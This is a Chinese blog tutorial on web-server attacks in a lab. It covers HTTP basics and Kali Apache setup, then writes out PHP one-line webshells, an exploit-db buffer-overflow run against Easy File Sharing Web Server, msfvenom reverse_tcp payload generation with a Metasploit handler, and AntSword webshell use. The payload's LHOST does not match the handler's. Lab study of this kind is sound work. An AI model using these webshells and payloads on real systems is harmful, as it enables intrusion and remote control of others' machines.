Web服务器漏洞攻防实战(网站简单配置和远程控制)

2025博客之星年度评选已开启 10w+人浏览 1.1k人参与

网站Web Sever服务器提供服务   URL-Uniform Resource Locator

包含协议、主机、端口、路径

域名:类似http://www.qq.com,其中port、path没写出来就是延用默认的知名端口等

例如http-80端口;https-443端口;或者是自己自定义的端口

GET方法的数据传输是通过URL传递

POST方法的数据传输是通过HTTP请求体传递

在wireshark中可以使用这样的过滤语句:http.request.method==POST,来查看想要看的数据流

GET和POST

GET和POST是两种最基本的HTTP请求方法。

HTTP-Hypertext Transfer Protocol 超文本传输协议,用于在Web浏览器和Web服务器之间传输数据。

HTTP请求方法定义了Web浏览器如何向Web服务器发送请求。GET和POST是最常用的HTTP请求方法之一。

GET方法用于从Web服务器请求数据。在使用GET方法时,浏览器向Web服务器发送一个请求,Web服务器将响应数据发送回浏览器。如HTML页面、图片和CSS文件等。

例如:http://example.com/page?name=value&age=value

POST方法用于向Web服务器提交数据。在使用POST方法时,浏览器将数据打包并发送到Web服务器。提交表单数据和上传文件等操作。

Web服务器收到数据后,可以根据数据执行相应的操作,并向浏览器发送响应。

前端和后端

kali配置网站

Apache默认的网站目录是在/var/www/html

访问网站即直达该目录(默认-无需输入路径)中的index.html

开启Kali的Apahce:service apache2 start

另一台主机浏览器访问   http://Kali的IP地址

一句话木马

一句话木马:<?php system($_REQUEST [‘hello’]);?>   命名为hello.php(也可以命名为其他的名字)

system函数可以用来执行命令并将相应的执行结果输出

$_REQUEST [‘hello’]获取用户提交的数据

http://靶机IP地址/hello.php?hello=ifconfig

问号后面的字符串是用户输入的(提交的),需要传递给服务器的参数:参数名=参数值;多个参数则用&分隔

漏洞测试模块

https://www.exploit-db.com

Kali系统自带漏洞库exploit-db

命令searchsploit查找渗透模块

Windows 安装Easy File Sharing Web Server 存在远程溢出漏洞

这里我在虚拟机进行测试

软件运行界面,可见http服务所使用的端口号为80,服务器IP为192.168.91.136

然后切换到kali,使用nmap工具扫描上面的服务器IP,并加上-sV参数以查看各开放端口所使用的服务名称和版本号:

可见与各服务与端口的对应与软件界面显示的相同,同时还将服务的版本号展示出来了。

看到该服务器开放Easy File Sharing Web Server httpd 6.9,在网上搜索知道该版本存在的缓冲区溢出漏洞,下面开始利用该漏洞对服务器进行攻击。

漏洞利用

首先,在kali中访问存在漏洞的服务端口192.168.91.136:80

根据上面的漏洞描述,该版本对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,当用户输入太长的用户名会导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址。

先来测试下该漏洞,先输入正常长度的用户名来Login:

可以看到网页正常响应,接下来我们用ai生成一个6000字的用户名

粘贴到Username栏中再Login,发现此时网页无响应:

回到win10发现软件已崩溃:

Kali中searchsploit查EasyFileSharing存在的漏洞:

经过查阅可知,蓝色框内的脚本可以实现再目标计算机执行计算器程序的功能。

同时该模块的调用也很简单,只需在终端中运行时加上服务器ip和端口作为两个参数传入即可:

python2 /usr/share/exploitdb/exploits/windows/remote/39009.py 192.168.91.136 80

运行成功,回到win10中查看,关闭之前崩溃的程序,计算器自动打开,复现完成:

Kali中生成被控端

Msfvenom

用到参数-p、-f 、-o

-p windows/meterpreter/reverse_tcp LHOST=192.168.91.136 LPORT=5000 -f exe –o /root/payload.exe

-p, –payload Payload to use;指定哪些有效载荷生成

本例中  windows/meterpreter/reverse_tcp   :用于Windows平台的反向远程控制程序

-f, –format Output format;指定有效载荷的格式

本例中  exe   生成Windows系统的可执行文件
-o, –out Save the payload;指定保存位置

本例中 /root/payload.exe

Kali中启动主控端

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload  windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 expolit(multi/handler) > set lhost 192.168.91.134

lhost => 192.168.91.134

msf5 exploit(multi/handler) > set lport 5000

lport => 5000

msf5 exploit(multi/handler) > exploit

这样就成功了,但是我们在日常生活中不要随意这样做,不要随意点击任何不知名的软件或者链接

生成的被控端提交到www.virustotal.com检测:

蚁剑

在虚拟机上的"E:\phpstudy_pro\WWW\"文件夹创建“shell.php”并输入以下php代码

<?php eval($_REQUEST ['cmd']);?>

然后我们打开蚁剑,右键添加数据:

要注意的是http://你主机的ip/shell.php,密码就是你shell中的cmd.

这样就成功了,但是我们在日常生活中不要随意这样做

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值